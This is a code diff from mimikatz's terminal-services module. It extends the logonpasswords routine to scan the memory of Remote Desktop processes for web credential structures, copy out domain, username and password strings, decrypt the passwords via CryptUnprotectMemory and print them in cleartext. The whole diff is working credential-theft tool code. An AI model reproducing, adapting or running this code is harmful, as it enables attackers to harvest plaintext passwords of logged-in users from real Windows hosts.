@@ -204,12 +204,15 @@ NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
204204const BYTE MyPattern [] = {0x00 , 0x00 , 0x00 , 0x00 , 0xbb , 0x47 , /*0x0b, 0x00*/ };
205205const BYTE MyPattern2 [] = {0x00 , 0x00 , 0x00 , 0x00 , 0xf3 , 0x47 , /*0x0b, 0x00*/ };
206206const BYTE MyPattern3 [] = {0x00 , 0x00 , 0x00 , 0x00 , 0x3b , 0x01 };
207+ const BYTE MyWebPattern [] = {0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 };
207208BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis (PMEMORY_BASIC_INFORMATION pMemoryBasicInformation , PVOID pvArg )
208209{
209210 KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL , & KULL_M_MEMORY_GLOBAL_OWN_HANDLE }, aProcess = {pMemoryBasicInformation -> BaseAddress , (PKULL_M_MEMORY_HANDLE ) pvArg };
210- PBYTE CurrentPtr , limite ;
211+ PBYTE CurrentPtr , limite , ref ;
211212 PWTS_KIWI pKiwiData ;
212- BOOL decStatus = TRUE, bIsCandidate ;
213+ PWTS_WEB_KIWI pWebKiwiData ;
214+ BOOL decStatus , bIsCandidate ;
215+ DWORD dwOffset ;
213216
214217 if ((pMemoryBasicInformation -> Type == MEM_PRIVATE ) && (pMemoryBasicInformation -> State != MEM_FREE ) && (pMemoryBasicInformation -> Protect == PAGE_READWRITE ))
215218 {
@@ -218,7 +221,7 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
218221 {
219222 if (kull_m_memory_copy (& aLocalBuffer , & aProcess , pMemoryBasicInformation -> RegionSize ))
220223 {
221- for (CurrentPtr = (PBYTE ) aLocalBuffer .address , limite = (PBYTE ) aLocalBuffer .address + pMemoryBasicInformation -> RegionSize ; CurrentPtr + sizeof (MyPattern ) <= limite ; CurrentPtr ++ )
224+ for (CurrentPtr = (PBYTE ) aLocalBuffer .address , limite = (PBYTE ) aLocalBuffer .address + pMemoryBasicInformation -> RegionSize ; CurrentPtr + sizeof (MyWebPattern ) <= limite ; CurrentPtr += sizeof ( PVOID ) )
222225 {
223226 pKiwiData = (PWTS_KIWI ) CurrentPtr ;
224227
@@ -232,31 +235,92 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
232235 }
233236 else bIsCandidate = FALSE;
234237
235- if (bIsCandidate && ! pKiwiData -> unk2 )
238+ if (bIsCandidate )
236239 {
237- //kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
238- if (!(pKiwiData -> cbDomain & 1 ) && (pKiwiData -> cbDomain < sizeof (pKiwiData -> Domain )))
240+ if (!pKiwiData -> unk2 )
239241 {
240- if (!(pKiwiData -> cbUsername & 1 ) && (pKiwiData -> cbUsername > sizeof (wchar_t )) && (pKiwiData -> cbUsername < sizeof (pKiwiData -> UserName )))
242+ //kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
243+ if (!(pKiwiData -> cbDomain & 1 ) && (pKiwiData -> cbDomain < sizeof (pKiwiData -> Domain )))
241244 {
242- if (!(pKiwiData -> cbPassword & 1 ) && (pKiwiData -> cbPassword < sizeof (pKiwiData -> Password )))
245+ if (!(pKiwiData -> cbUsername & 1 ) && (pKiwiData -> cbUsername > sizeof ( wchar_t )) && ( pKiwiData -> cbUsername < sizeof (pKiwiData -> UserName )))
243246 {
244- kprintf (
245- L"\n Domain : %.*s\n"
246- L" UserName : %.*s\n" ,
247- pKiwiData -> cbDomain / sizeof (wchar_t ), pKiwiData -> Domain ,
248- pKiwiData -> cbUsername / sizeof (wchar_t ), pKiwiData -> UserName
249- );
250-
251- if (pKiwiData -> cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10 ))
247+ if (!(pKiwiData -> cbPassword & 1 ) && (pKiwiData -> cbPassword < sizeof (pKiwiData -> Password )))
252248 {
253- decStatus = kull_m_crypto_remote_CryptUnprotectMemory (aProcess .hMemory , pKiwiData -> Password , sizeof (pKiwiData -> Password ), CRYPTPROTECTMEMORY_SAME_PROCESS );
249+ kprintf (
250+ L"\n Domain : %.*s\n"
251+ L" UserName : %.*s\n" ,
252+ pKiwiData -> cbDomain / sizeof (wchar_t ), pKiwiData -> Domain ,
253+ pKiwiData -> cbUsername / sizeof (wchar_t ), pKiwiData -> UserName
254+ );
255+
256+ if (pKiwiData -> cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10 ))
257+ {
258+ decStatus = kull_m_crypto_remote_CryptUnprotectMemory (aProcess .hMemory , pKiwiData -> Password , sizeof (pKiwiData -> Password ), CRYPTPROTECTMEMORY_SAME_PROCESS );
259+ }
260+ else decStatus = TRUE;
261+
262+ if (decStatus )
263+ {
264+ kprintf (L" Password/Pin: %.*s\n" , pKiwiData -> cbPassword / sizeof (wchar_t ), pKiwiData -> Password );
265+ }
254266 }
267+ }
268+ }
269+ }
270+ }
271+ else if (RtlEqualMemory (MyWebPattern , CurrentPtr , sizeof (MyWebPattern )))
272+ {
273+ pWebKiwiData = (PWTS_WEB_KIWI ) CurrentPtr ;
274+ if (
275+ (pWebKiwiData -> Username .Buffer && !((ULONG_PTR ) pWebKiwiData -> Username .Buffer % sizeof (PVOID )) && ((ULONG_PTR ) pWebKiwiData -> Username .Buffer < 0x1000 ))
276+ &&
277+ (pWebKiwiData -> Username .Length && !(pWebKiwiData -> Username .Length % sizeof (wchar_t )) && (pWebKiwiData -> Username .Length < ((WTS_USERNAME_LENGTH + 1 ) * sizeof (wchar_t ))) && ((pWebKiwiData -> Username .Length == pWebKiwiData -> Username .MaximumLength ) || (pWebKiwiData -> Username .Length == (pWebKiwiData -> Username .MaximumLength - sizeof (wchar_t )))))
278+ )
279+ {
255280
281+ if (
282+ (pWebKiwiData -> Password .Buffer && !((ULONG_PTR ) pWebKiwiData -> Password .Buffer % sizeof (PVOID )) && ((ULONG_PTR ) pWebKiwiData -> Password .Buffer < 0x1000 ))
283+ &&
284+ (pWebKiwiData -> Password .Length && !(pWebKiwiData -> Password .Length % sizeof (wchar_t )) && (pWebKiwiData -> Password .Length < ((WTS_PASSWORD_LENGTH + 1 ) * sizeof (wchar_t ))) && ((pWebKiwiData -> Password .Length == pWebKiwiData -> Password .MaximumLength ) || (pWebKiwiData -> Password .Length == (pWebKiwiData -> Password .MaximumLength - sizeof (wchar_t )))))
285+ )
286+ {
287+ // Domain is not mandatory here
288+ kprintf (L"\n * Web Credentials? *\n" );
289+ ref = (PBYTE ) aProcess .address + (CurrentPtr - (PBYTE ) aLocalBuffer .address );
290+
291+ if (
292+ (pWebKiwiData -> Domain .Buffer && !((ULONG_PTR ) pWebKiwiData -> Domain .Buffer % sizeof (PVOID )) && ((ULONG_PTR ) pWebKiwiData -> Domain .Buffer < 0x1000 ))
293+ &&
294+ (pWebKiwiData -> Domain .Length && !(pWebKiwiData -> Domain .Length % sizeof (wchar_t )) && (pWebKiwiData -> Domain .Length < ((WTS_DOMAIN_LENGTH + 1 ) * sizeof (wchar_t ))) && ((pWebKiwiData -> Domain .Length == pWebKiwiData -> Domain .MaximumLength ) || (pWebKiwiData -> Domain .Length == (pWebKiwiData -> Domain .MaximumLength - sizeof (wchar_t )))))
295+ )
296+ {
297+ pWebKiwiData -> Domain .Buffer = (PWSTR ) (ref + (ULONG_PTR ) pWebKiwiData -> Domain .Buffer );
298+ if (kull_m_process_getUnicodeString (& pWebKiwiData -> Domain , aProcess .hMemory ))
299+ {
300+ kprintf (L" Domain : %wZ\n" , & pWebKiwiData -> Domain );
301+ LocalFree (pWebKiwiData -> Domain .Buffer );
302+ }
303+ }
304+
305+ pWebKiwiData -> Username .Buffer = (PWSTR ) (ref + (ULONG_PTR ) pWebKiwiData -> Username .Buffer );
306+ if (kull_m_process_getUnicodeString (& pWebKiwiData -> Username , aProcess .hMemory ))
307+ {
308+ kprintf (L" UserName : %wZ\n" , & pWebKiwiData -> Username );
309+ LocalFree (pWebKiwiData -> Username .Buffer );
310+ }
311+
312+ pWebKiwiData -> Password .Buffer = (PWSTR ) (ref + (ULONG_PTR ) pWebKiwiData -> Password .Buffer );
313+ if (kull_m_process_getUnicodeString (& pWebKiwiData -> Password , aProcess .hMemory ))
314+ {
315+ decStatus = kull_m_crypto_remote_CryptUnprotectMemory (aProcess .hMemory , pWebKiwiData -> Password .Buffer , pWebKiwiData -> Password .Length , CRYPTPROTECTMEMORY_SAME_PROCESS );
256316 if (decStatus )
257317 {
258- kprintf (L" Password/Pin: %.*s\n" , pKiwiData -> cbPassword / sizeof (wchar_t ), pKiwiData -> Password );
318+ dwOffset = (lstrlen (pWebKiwiData -> Password .Buffer ) + 1 ) * sizeof (wchar_t );
319+ kprintf (L" Password/Pin: %s\n |_ supp data: " , pWebKiwiData -> Password .Buffer );
320+ kull_m_string_wprintf_hex ((PBYTE ) pWebKiwiData -> Password .Buffer + dwOffset , pWebKiwiData -> Password .Length - dwOffset , 1 );
321+ kprintf (L"\n" );
259322 }
323+ LocalFree (pWebKiwiData -> Password .Buffer );
260324 }
261325 }
262326 }
0 commit comments